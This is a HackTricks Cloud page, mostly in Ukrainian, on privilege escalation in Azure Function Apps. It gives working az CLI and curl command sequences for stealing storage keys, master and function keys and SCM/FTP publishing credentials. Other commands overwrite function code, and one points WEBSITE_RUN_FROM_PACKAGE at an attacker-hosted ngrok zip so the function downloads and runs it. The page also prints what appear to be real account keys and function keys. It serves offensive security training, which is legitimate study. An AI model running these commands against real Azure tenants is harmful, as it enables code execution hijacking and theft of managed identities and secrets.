Az - Functions App Privesc
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Function Apps
Перегляньте наступну сторінку для додаткової інформації:
Доступ до Bucket — читання/запис
Якщо є права читати контейнери всередині Storage Account, який зберігає дані функції, можна знайти різні контейнери (кастомні або з попередньо визначеними іменами), які можуть містити код, що виконується функцією.
Після того, як ви знайдете, де розташований код функції, якщо у вас є права запису до нього, ви можете змусити функцію виконати будь-який код і підвищити привілеї managed identities, прив’язаних до функції.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Код функції зазвичай зберігається в file share. За достатнього доступу можна змінити файл коду і змусити функцію завантажити довільний код, що дозволяє підвищити привілеї managed identities, прив’язаних до Function.
This deployment method usually configures the settings WEBSITE_CONTENTAZUREFILECONNECTIONSTRING and WEBSITE_CONTENTSHARE which you can get from
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Those configs will contain the Storage Account Key that the Function can use to access the code.
Caution
За наявності достатніх дозволів для підключення до File Share та modify the script, що виконується, можливо виконати довільний код у Function і підвищити привілеї.
The following example uses macOS to connect to the file share, but it’s recommended to check also the following page for more info about file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Також часто можна знайти zip релізи всередині папки function-releases контейнера Storage Account, який function app використовує — зазвичай контейнер названий function-releases.
Зазвичай цей метод розгортання встановлює конфігурацію WEBSITE_RUN_FROM_PACKAGE в:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
This config will usually contain a SAS URL to download the code from the Storage Account.
Caution
Якщо є достатні права для підключення до blob-контейнера, який містить код у zip, можливо виконати довільний код у Function і підвищити привілеї.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Як і в попередньому випадку, якщо деплой виконується через Github Actions, можна знайти папку github-actions-deploy в Storage Account, що містить zip з кодом та SAS URL до zip у налаштуванні WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Маючи права на читання контейнерів у Storage Account, що зберігає дані функції, можна знайти контейнер scm-releases. Там можна знайти останній реліз у Squashfs filesystem file format і, отже, прочитати код функції:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Також можливо знайти master and functions keys, збережені в storage account у контейнері azure-webjobs-secrets всередині папки <app-name> в JSON-файлах, які там містяться.
Caution
За наявності достатніх прав для підключення до blob container, який contains the code in a zip extension file (який насправді є
squashfs), можливо виконати довільний код у Function і підвищити привілеї.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Цей дозвіл дозволяє перелічити ключі function, master та system (але не host) для зазначеної функції за допомогою:
az functionapp keys list --resource-group <res_group> --name <func-name>
За допомогою master key також можна отримати source code за URL, наприклад:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
А щоб змінити код, який виконується в функції, на:
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Цей дозвіл дозволяє отримати ключ за замовчуванням вказаної функції за допомогою:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Викличте функцію, використовуючи отриманий ключ за замовчуванням:
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
Цей дозвіл дозволяє створювати/оновлювати ключ функції зазначеної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Цей дозвіл дозволяє створювати/оновлювати master key для вказаної функції за допомогою:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
Пам’ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як описано раніше!
Microsoft.Web/sites/host/systemKeys/write
Цей дозвіл дозволяє створювати або оновлювати системний ключ для вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Використовуйте ключ:
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
Цей дозвіл дозволяє отримувати налаштування функції. Всередині цих конфігурацій може бути знайдено значення за замовчуванням AzureWebJobsStorage або WEBSITE_CONTENTAZUREFILECONNECTIONSTRING, які містять ключ облікового запису для доступу до blob storage функції з повним доступом.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Крім того, цей дозвіл також дозволяє отримати SCM username and password (якщо ввімкнено) за допомогою:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Ці дозволи дають змогу перелічувати значення конфігурації функції, як ми вже бачили раніше, а також змінювати ці значення. Це корисно, тому що ці налаштування вказують, де розташований код, який виконується всередині функції.
Отже, можна встановити значення параметра WEBSITE_RUN_FROM_PACKAGE, що вказує на URL zip-файл, який містить новий код для виконання всередині веб-додатка:
- Почніть з отримання поточної конфігурації
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Створіть code, який ви хочете, щоб function виконувала, і розмістіть його публічно
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Змініть функцію, збережіть попередні параметри і додайте в кінці конфігурацію
WEBSITE_RUN_FROM_PACKAGE, що вказує на URL з zip, який містить код.
Нижче наведено приклад моїх власних налаштувань — вам потрібно змінити значення на свої, зверніть увагу наприкінці на значення "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", саме звідти я хостив додаток.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
За цим дозволом можна змінити код додатка через веб-консоль (або через наступну кінцеву точку API):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
Це дозволення дає змогу перерахувати всі publishing profiles, які по суті містять basic auth credentials:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Ще один варіант — встановити власні облікові дані та використовувати їх за допомогою:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Якщо REDACTED credentials
Якщо ви бачите, що ці credentials позначені як REDACTED, то це тому, що вам need to enable the SCM basic authentication option, і для цього потрібен другий дозвіл (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Method SCM
Потім ви можете використати ці basic auth credentials to the SCM URL вашого function app і отримати значення env variables:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Zверніть увагу, що ім’я користувача SCM зазвичай є символом “$”, після якого йде назва додатку, тобто: $<app-name>.
Ви також можете отримати доступ до веб-сторінки за адресою https://<app-name>.scm.azurewebsites.net/BasicAuth
Значення налаштувань містять AccountKey облікового запису сховища (storage account), в якому зберігаються дані function app, що дозволяє контролювати його.
- Метод FTP
Підключіться до FTP-сервера, використовуючи:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Зауважте, що FTP username зазвичай має формат <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Цей дозвіл дозволяє читати вихідний код додатка через VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
З цим дозволом можна get the admin token, який згодом можна використати для отримання master key і, відповідно, доступу та зміни коду функції.
Однак у моїх останніх перевірках токен не повертався, тому це може бути вимкнено або більше не працювати, але ось як це зробити:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
Ці дозволи дозволяють увімкнути функції, які можуть бути вимкнені (або вимкнути їх).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Також можливо перевірити, чи увімкнено функцію або вимкнено за наступним URL (з використанням дозволу в дужках):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
З цими дозволами можна змінити контейнер, який запускається function app, налаштованої на виконання в контейнері. Це дозволило б attacker завантажити шкідливий azure function container app на docker hub (наприклад) і змусити функцію виконати його.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
За наявності цих дозволів можна приєднати нову user managed identity до function. Якщо function було скомпрометовано, це дозволить підвищити привілеї для будь-якої user managed identity.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Віддалене налагодження
Також можна підключитися для налагодження запущеної функції Azure, як пояснено в документації. Проте за замовчуванням Azure вимкне цю опцію через 2 дні, щоб уникнути залишення вразливих конфігурацій у разі, якщо розробник забуде.
Можна перевірити, чи увімкнено налагодження для функції за допомогою:
az functionapp show --name <app-name> --resource-group <res-group>
Маючи дозвіл Microsoft.Web/sites/config/write, також можна перевести функцію в режим налагодження (наступна команда також вимагає дозволів Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read і Microsoft.Web/sites/Read).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Змінити Github repo
Я намагався змінити Github repo, звідки відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, the new code was not loaded (ймовірно тому, що очікується, що Github Action оновить код).
Крім того, managed identity federated credential wasn’t updated щоб дозволити новий репозиторій, тож це, здається, не дуже корисно.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

